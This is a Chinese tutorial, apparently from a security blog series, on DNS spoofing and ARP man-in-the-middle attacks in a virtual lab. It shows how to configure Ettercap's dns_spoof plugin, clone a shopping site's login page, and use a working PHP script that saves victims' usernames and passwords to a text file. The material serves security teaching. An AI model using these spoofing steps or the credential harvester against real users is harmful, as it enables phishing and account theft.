龙空技术网

四十二,DNS欺骗和钓鱼网站原理详解及漏洞还原

xxxxx1250684 252

前言:

此时各位老铁们对“startapacheservice”大体比较看重,兄弟们都想要了解一些“startapacheservice”的相关文章。那么小编也在网摘上汇集了一些对于“startapacheservice””的相关文章,希望朋友们能喜欢,咱们一起来学习一下吧!

一.DNS欺骗和ARP攻击机钓鱼网站制作

1.基础知识

DNS欺骗:

DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。 如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站,而是冒名顶替、招摇撞骗罢了。

网站钓鱼:

钓鱼者运用社会工程学(Social Engineering)知识诱骗受害者,以在未授权情况下获取对方的姓名、年龄、邮箱账号,甚至是银行卡密码等私人信息。钓鱼往往和社会工程学相结合进行诱导,而社会工程学是黑客的内功,能否灵活运用可以体现一个黑客的个人修为,所以说“防人之心不可无”这句话并非没有道理,凡事不要害人但是总要留个心眼,否则最终受伤的就是自己。

社会工程学黑客常用伎俩:(推荐作者前文:九.社会工程学之基础概念、IP获取、物理定位等)

电话号码欺骗

利用坏消息作案

垃圾邮件诱骗

滥用网民对社交网络的信任

二维码引诱

恶意APP劫持

那么,如何防御社工呢?别占小便宜,没有充分信任情况下别去点击任何链接或下载任何APP。本文的案例将利用虚假的某购物网站,使用DNS与ARP欺骗手段使用户输入真是的用户名和密码。该方法还能截获HTTPS加密信息。

PS:作者本来想分享一个亲身经历的社会工程学案例,黑客朋友是如何一步步定位我的信息,但这篇文章太长,有时间再分享吧!

2.实验基础

实验目标:

使用Kali系统模拟攻击者,利用中间人的攻击手段来对受害者进行DNS欺骗,使受害者通过访问假的某购物网站,来获取用户登录的用户名与密码。通过三种攻击来窃取登录的用户名和密码:

中间人攻击

DNS欺骗

钓鱼网站

为什么不直接使用中间人攻击获取用户的账户与密码呢?因为如果信息加密,中间人攻击(推荐前文)就不能截获了。但是如果访问假的钓鱼网站,就能获取信息。

注意:本文的实验绝对禁止在真实环境中去完成,作者将引用B站视频中虚拟机实验复现,未经授权的测试或攻击行为我们一律禁止。

我们这篇文章的目的是为了学会防御,同时多一种安全手段,在授权情况下可以进行钓鱼网站攻击测试。这种方法适合各大网站、银行、购物、邮箱等。

实验环境:

这次实验会开三台虚拟机,一台XP系统、一台2003系统、一台Kali攻击机。

虚拟机软件:VMware V12.0版本

三台虚拟机:Windows XP(模拟客户机)、Windows Server 2003(模拟WEB及FTP服务器)、Kali(模拟攻击机)

假的某购物网站素材

工具:Ettercap软件

基本流程:

构建的拓扑图如下所示,首先开3台虚拟机,然后有1台交换机,这3台虚拟机都连接在这台交换机上,共同构成一个虚拟的局域网,来进行这个实验。实验基本流程如下:(配置过程参考前文)

第一步是构建整个局域网,并且配置好IP地址且能相互通讯(ping通)。

第二步是将Windows 2003系统作为服务器(现实中也可以将该系统设置为服务器),接着将Windows XP系统设置为客户机,它需要去登录某购物网站。

第三步是搭建Kali攻击机,之前是客户机和服务器直接通讯,现在是客户机发送的信息流经Kali机,再传至服务器。由于经过中间人,Kali机就可以监听客户机和服务器的通讯内容,甚至篡改数据。

3.实验原理

接着作者分享DNS域名解析和DNS欺骗原理知识。

域名解析:

假设左侧电脑是某公司的电脑,比如企业员工电脑(受害者);右侧这个是互联网,比如某购物官方网站(Web服务器),假设IP地址为2.2.2.2,并按照上节课讲述的内容搭建一个网站,通过IIS或Apache搭建。

域名解析(Domain Name Resolution)

域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

员工通过 就能访问,但是这个地址不好记,我们平时都是输入“www”上网。所以需要做域名解析,把这个域名地址解析成IP地址再访问,这里比如绑定域名 。当浏览器中访问“”后,首先我们访问本地缓存或本地HOST文件(第一次访问会存储至本地缓存),如果本地都没有,则会寻找公网上的DNS服务器,它里面会有一个解析文件gw.com,如下图所示。

问一个问题:这是正向解析还是反向解析呢?

答案是正向解析的过程,即已知域名解析IP地址。那么,DNS又是怎么知道这个记录的呢?怎么知道“”就是“2.2.2.2”呢?这是该购物网站花钱购买域名(gw.com),购买之后服务器上会为你创建解析文件,然后该购物网站的相关人员会绑定IP地址并将该记录添加至DNS服务器上。此时,全世界都能访问这个域名并解析。

万网可以购买域名地址,比如作者的域名“”。

正常访问过程:

当企业员工电脑访问该购物网站时,会去DNS服务器进行解析;然后找到地址2.2.2.2,并返回给企业员工电脑;最后访问该购物Web服务器,假设是IIS,它会将购物网站的首页返回给你的浏览器。

恶意访问过程:

假设现在出现了一个坏蛋,地址是3.3.3.3。首先它用了ARP攻击(中间人攻击),能截获数据。那么现在企业员工向服务器(4.4.4.4)发送请求,要经过坏蛋,坏蛋一看是向4.4.4.4发送请求,是一个DNS服务器,而且要解析gw.com域名,它不进行修改和中断。接着,DNS回应会发送2.2.2.2地址,这个过程中坏蛋只是开启了中间人攻击,监听数据并没有进行任何操作。

接着坏蛋想:我能不能把自己也伪装成DNS服务器,并且提供错误的DNS解析记录呢?

他把该购物网站域名()解析成3.3.3.3地址。注意,当企业员工发送的信息再经过坏蛋时,明明是给4.4.4.4发送请求,但坏蛋会把自己伪装成DNS服务器,说“我才是那台DNS服务器”,并且它能控制这个信息终止与真实的DNS服务器通讯,说“我才是4.4.4.4,我通过解析找到记录了,它是3.3.3.3”。此时,员工被骗了,这种方式称为——DNS投毒。

为什么叫DNS投毒呢?

员工访问成功之后,会把这个域名(gw.com)和IP地址存到缓存中,所以它的缓存会记录一条信息,gw.com对应3.3.3.3。DNS缓存投毒也是非常令人头疼的一个攻击。因为它也做验证,后面将会分享具体实验,但它的验证非常差,所以导致除了上节课讲述得ARP投毒外,DNS投毒、DNS欺骗、DNS污染也是非常头疼的问题。

此时,成功诱骗了企业员工电脑。IE浏览器访问“”是向坏蛋发送请求,和真实的购物网站Web服务器、DNS服务器就没有关系了。换句话说,后续的请求就是企业员工和坏蛋他们两个。

钓鱼网站搭建:

接着我们开Apache,然后发布一个假的gw网站。注意,这篇文章对某购物网站没有任何恶意,我们主要是做一个科普,提高博友们网络安全的意识和防御措施。

钓鱼网站和真实网站尽量相近,而我们实验仅做简单的测试,有登录页面即可。接着,当受害者输入真实用户名和密码,点击提交之后,我们会连接后台数据库收集相关信息即可。表单form中action会指向php,获取用户名和密码,并写入数据库或TXT文件。我们称这个网站为——钓鱼网站。

注意:银行门户网站尤其需要注意该防范。同时,一般提交后数据保存,然后网页跳转到真正的购物网站,用户会以为密码输入错误,重新输入。信息也被收集,而且不易觉察。

二.DNS投毒实验环境搭建

接着开始做这个实验,左边是受害人,中间是坏蛋,右边是模拟某购物官方网站和DNS服务器。在现实中,真实网站和钓鱼网站通常会很像。

首先,我们开三台虚拟机。先还原快照,然后直接开启虚拟机。

实验流程:

开启虚拟机并配置IP

在Win2003中搭建xx购物网站Web服务器及DNS服务器

客户机尝试访问真正的购物网站

开启ARP欺骗和DNS欺骗

网站钓鱼

第一步,通过VMware设置虚拟网络。

开启三台虚拟机(XP、2003、Kali),VMware软件在安装时会在电脑上内嵌一个虚拟交换机,理解为虚拟网络。选择虚拟机,点击右键,然后点击“设置”。这里作者使用“还原快照”,读者可以尝试自己配置环境。

第二步,配置虚拟机IP地址并能够ping通。

将三台虚拟机(XP、win2003、Kali)桥接到同一个虚拟网络中去。右键设置,点击“网络适配器”,选择“VMnet2”,三台虚拟机都桥接到该虚拟网络“VMnet2”中,这样三台虚拟机就成功连成了同一个局域网。

配置XP系统(员工电脑)的IP地址需要选中“网上邻居”,再右键“属性”,点击“本地连接”右键“属性”。

设置IP地址如下“10.1.1.1”,子网掩码设置为“255.255.255.0”。

接着登录Windows 2003服务器。

登录Kali系统。

在Kali系统中输入命令配置IP地址,eth表示网卡名称。ifconfig eth0 10.1.1.2/24

然后尝试查看是否IP地址建立成功。Linux默认一直ping,如下图所示小杨是连接成功的。

ping 10.1.1.1

接着尝试连接小娜的电脑。

ping 10.1.1.3

到此,我们成功建立了如下图所示的虚拟局域网。

第三步,在Win2003中搭建某购物网站Web服务器及DNS服务器。

点击“管理工具”->“DNS”。现实中,很多企业也都是使用该DNS工具软件来部署DNS服务器。一般中大型公司都有自己的DNS服务器。

点击之后,如下图所示,点开DNS,发现里面有正向查找区域和反向查找区域。

DNS(Domain Name Service) 域名解析服务,就是将域名和 ip 之间做相应的转换。

正向解析:根据域名查找对应的ip地址

反向解析:根据ip地址查找对应的域名

选择“正向查找区域”,右键点击“新建区域”。该区域是建立DNS解析文件。

点击下一步,如下图所示。

区域名称填写“xx.com”。

点击下一步,直至完成。

最终创建成功。

此时存在了“xx.com”区域,它表示以后全球范围内,凡是解析这个域名后缀的权威服务器就是这台“shimisi”服务器。

什么是权威服务器呢?

假设xx的DNS权威服务器在北京,现在贵阳的DNS怎么办呢?贵阳的公网DNS只有部分域名,贵阳的员工想访问xx,他只能请求当地的服务器,如果没有xx记录,它又会去请求xx的权威服务器,权威服务器会把记录传递给贵阳的服务器并缓存,再发送给员工。当地的其他员工访问时,它会返回本地缓存记录,这称之为非权威应答。

接着我们调用nslookkup命令,查看结果如下图所示。它是非权威应答,表示真正域名是“”,还有个别名是“”,真正地址为“117.169.11.1”。

如果我们想要攻击该网站,需要获取xx地址“117.169.11.1”,该地址是“192.168.43.1”解析的。非权威应答表示地址“117.169.11.1”并没有记录在“192.168.43.1”服务器上。如果使用nslookup命令发现解析的应答没有显示“非权威应答”这句话,表示是权威应答,但很难看到。

本地nslookup查看百度如下图所示:

此时,该实验域名区域配置文件是在这台服务器上写好了,所以它就是权威服务器。接着点击“查看”->“高级”。

可以看到“缓存的查找”信息如下图所示。如果不是xx服务器,就没有区域配置文件“xx.com”,员工就会寻找真正的xx服务器并存储至缓存。所以说,DNS服务器只要有这个区域配置文件就代表权威。

接着搭建一个网站,右键“新建主机(A)”,其中A记录代表正向解析记录。

输入“www”,它会自动补全,并且指向10.1.1.3Web服务器。

此时显示信息如下图所示,创建了正向解析记录。

第四步,点击“管理工具”->“IIS”,新建Web服务器。

显示如下图所示:

右键停用默认网站,再选中“网站”点击“新建”->“网站”。

描述随便填写,比如“xx”,再点击“下一步”。

网站IP地址选择“10.1.1.3”

网站路径选择本地xx网站。

钓鱼网站如下图所示:

显示如下图所示:

选择该文件夹并勾选“读取”,因为它是静态网页,所以这里仅选择“读取”权限。

那么,这个网站如何保存下来的呢?通常黑客不会撰写大量的HTML代码,会通过真实网站保存后修改,模拟成钓鱼网站。比如在IE浏览器中点击“文件”->“另存为”即可,它会将CSS、图片、资源等保存至本地。

在添加xx网站之后,右键“属性”设置主页。

在“文档”中添加“index.html”主页。

问题1: 此时通过XP系统访问我们搭建的服务器,在浏览器中输入“”,为什么访问失败呢?

在CMD中输入nslookup解析查看,显示无法响应。

原因是没有指定DNS。现在Windows 2003是DNS服务器,而你输入域名之后为什么解析不成功,你根本不知道谁是DNS服务器。打开网络连接,选中“本地连接”,右键“属性”。

需要将Windows 2003的DNS服务器地址写到XP系统中,再进行访问,这里填写“10.1.1.3”。

设置成功之后能成功访问。

问题2: 此时填写用户名和密码能登录成功吗?答案是不能。因为我们只搭建了一个主页面,该表单不能处理。后续会制作一个点击提交后登录失败,再跳转到真实的xx网站的案例。

问题3: 怎么判断访问的这个网站是真实的xx网站还是钓鱼搭建的网站呢?

三.开启ARP欺骗和DNS欺骗

接下来需要在Kali系统做一些操作。

配置IP地址ARP攻击伪装DNS服务器发布钓鱼网站

这里先做好伪装DNS服务器,开启钓鱼网站,最后再设置ARP攻击。当企业员工访问时,就会访问假的网站。

查看之前搭建的局域网是否能够ping通。

ping 10.1.1.1

ping 10.1.1.3

第一步,配置伪装DNS。

打开一个文件,通过vim命令实现。“etc”目录一般放置配置文件,设置ettercap软件的配置文件。

打开如下图所示:

找到下面黑色字体的位置,它表示“解析记录域名+A记录+IP地址”,接着进行修改(连续按两个字母D+D能删除一行)。

按下“I”键,进入输入模式,添加内容如下所示。其中A表示正向解析,PTR表示反向解析,补充一个反向解析能增加实验的成功性,防止浏览器的反向验证。

现实中也可以尝试修改成“*”,表示任何域名都会解析为“10.1.1.2”。

接着输入“:wq”保存退出。此时的解析记录创建成功了,接着后续会在Ettercap软件中开启攻击阀门。

第二步,打开Apache并配置服务。

开启服务

systemctl start apache查看服务端口是否开启成功

netstat -antpl

此时属于监听状态,端口为80,监听号为1985。

服务开启了,那么我们Apache的网站在哪里呢?

Apache默认站点路径在根目录下“/var/www/html”中,其中“var”目录主要存放可变文件,比如日志、缓存、站点,它们经常会被更新。查看如下所示。

此时里面虽然有网页,但与本文的实验无关。因此我们需要清除当前目录内容,输入命令“rm - rf *”。

注意:该命令千万别错误写成“rm - rf /* ”,它表示删除根目录下所有东西。而“rm - rf *” 表示删除当前目录,-r表示删除所有子文件或子文件夹,f表示强制。

第三步,制作假的xx网站并放置Kali系统中。

接下来我们要放置假的xx网站。新建一个“1.txt”记事本,一个“error.php”网站。现在我们希望用户点击提交,把提交表单的内容发送给“error.php”文件,然后把账号和密码提取出来放在“1.txt”文件中。同样,我们可以设置数据库进行实时抓取及存储。

“error.php”代码如下,调用stripslashes()函数获取POST表单元素,赋值为name和pass变量,最后文件操作存储至“1.txt”文件中。HTML代码表示存储内容之后,然后返回原网页。

<?php	$name = stripslashes($_POST['name']);	$pass = stripslashes($_POST['pass']);	$content = "您已捕获xx账号及密码1个:" . "用户名" . $name . "密码" . $pass;	$filed = @fopen("1.txt", "a+");	@fwrite($filed, "$content\n");?><html>	<head>		<script type="text/javascript">			function goBack() {				window.history.back();   //后退+刷新			}		</script>	</head>	<body onload="goBack()">		<!-- 加载之后立即执行一段JavaScript代码 -->	</body></html>

审查元素如下图所示,定位“name”和“pass”元素。

同时修改“index.html”代码,表单提交给该php文件。

接着将制作好的假网站放置到Kali系统的桌面。

拷贝文件及文件夹至“/var/www/html”默认站点目录中。

cp -r /root/Desktop/xx/* ./ 

接着需要开启Linux写入权限。通过“ls -l”命令查看权限,以“1.txt”权限为例,第一块“-rwx”代表文件主人root的权限,即管理员权限;第二块“r–”代表这个文件所在组的其他人的权限;第三块“r–”代表其他人的权限,Apache属于其他人权限。“r”代表读取权限、“w”达标写入权限、“x”代表执行权限。

ls -l

调用命令“chmod 777 1.txt”修改权限,“chmod”表示change mod修改文件属性;“1.txt”表示所修改的文件;“777”表示权限列表,每个“7”表示一组,总共三组,“r–”二进制表示“100”,其值为4,而“111”二进制值为7(4+2+1),即所有权限都开启。

chmod 777 1.txt

再比如,我们尝试使用“chmod 766 1.txt”命令,可以看到修改权限为“-rwxrw-rw-”。

到此,我们的网站就搭建好了,接下来开始攻击。

第四步,设置ARP欺骗攻击及Sniff嗅探功能。

Kali中包含了丰富的渗透和安全测试软件供大家使用。

我们接下来要使用的软件叫“Ettercap”。

该软件打开如下图所示,它不仅仅能ARP投毒,还能进行各种DNS投毒等。

点击“Sniff”第一个选项“Unified sniffing”。

选择网卡接口“eth0”。

选中网卡之后,开始点击“Host list”,列出所有主机。

再点击第三个按钮“Scan for hosts”扫描。

输出结果如下图所示,包括“10.1.1.1”和“10.1.1.3”。本实验只有三台主机,而现实中员工会通过交换机、路由器去连接互联网,真正的xx在互联网上,而攻击者如果要截获你和xx的数据,需要截获员工主机和网关的通信数据。接下来我要在它们两个之间做中间人,怎么做呢?

选择第一个,添加目标1“Add to Target 1”;再选择第二个,添加目标2“Add to Target 2”。

再点击“Mitm”->“ARP poisoning”,并且勾选“Sniff remote connections”,此时就建立了ARP投毒,把10.1.1.1和10.1.1.3欺骗,并且开始数据拦截。

此时,中间人攻击或ARP欺骗攻击已经搭建完成,我们能截获员工(XP系统)和服务器(2003系统)的通信数据。但本篇文章是介绍如何实现DNS欺骗攻击和钓鱼,所以我们需要在Kali系统布局诱骗操作,收到员工请求之后不再转发至2003服务器,而是主动给你一个假的解析,这就称为——DNS投毒。

第五步,设置DNS投毒。

选择“Plugins”->“Manage the plugins”。

可以看到这个软件非常强大,双击“dns_spoof”激活DNS投毒。

此时,我们在XP系统浏览器中访问“”网站,输入用户名和密码点击登录,但仍然失败,这是为什么呢?因为刚刚我们的Windows XP系统访问过Windows 2003服务器,该记录被存储在缓存中,再访问xx时就不再询问服务器,所以Kali就无法欺骗。现实中该实验是在没有访问情况下进行,等待缓存消失即可。

打开CMD,输入“ipconfig /flushdns”清除DNS缓存。

再次访问xx网站,然后点击登录,此时实验成果。如果hacker将其跳转回真实的xx网站,其隐藏性会更好。

此时Kali系统截获的内容如下图所示:

四.总结

写到这里,这篇基础性文章就此结束,希望文章对您有所帮助。真的感觉自己技术好菜,要学的知识好多。这是第42篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行,感谢很多人的帮助,继续爬着,继续加油。

标签: #startapacheservice